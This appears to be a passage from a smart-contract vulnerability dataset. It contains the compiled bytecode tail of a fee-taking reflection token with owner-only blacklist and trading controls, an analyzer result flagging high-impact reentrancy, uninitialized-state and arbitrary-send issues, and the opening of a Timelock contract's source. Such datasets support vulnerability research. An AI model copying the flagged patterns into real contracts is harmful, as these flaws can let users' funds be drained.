900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f464c5241efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d92ca924821d69013ed5a9bab5eb5320b6f72ed3d85039a817a64590ed0c0f4364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,559 |
0x22e3F828b3f47dAcFACd875D20bd5cc0879C96e7 | /**
*Submitted for verification at Etherscan.io on 2021-07-06
*/
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
